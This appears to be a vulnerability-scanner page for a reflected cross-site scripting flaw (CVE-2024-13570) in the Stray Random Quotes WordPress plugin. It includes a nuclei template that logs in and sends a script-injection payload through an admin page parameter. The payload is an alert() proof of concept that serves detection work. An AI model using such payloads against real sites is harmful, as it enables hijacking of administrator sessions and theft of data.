WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

Stray Random Quotes WordPress plugin <= 1.9.9 contains a reflected cross-site scripting caused by a lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in the context of high-privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=stray_manage&qo=1"></script><script>alert(document.domain)</script><script>
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "stray-quotes") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13570 -u <target>

The full check

id: CVE-2024-13570

info:
  name: WordPress Stray Random Quotes <= 1.9.9 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Stray Random Quotes WordPress plugin <= 1.9.9 contains a reflected cross-site scripting caused by a lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high-privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/26019036-f7e4-4ef5-85d4-7d5fda18823e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13570
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13570
    cwe-id: CWE-79
    epss-score: 0.00587
    epss-percentile: 0.48404
    cpe: cpe:2.3:a:unalignedcode:stray_random_quotes:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: unalignedcode
    product: stray_random_quotes
  tags: cve,cve2024,wp,wordpress,wp-plugin,unalignedcode,stray-random-quotes,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=stray_manage&qo=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "stray-quotes")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

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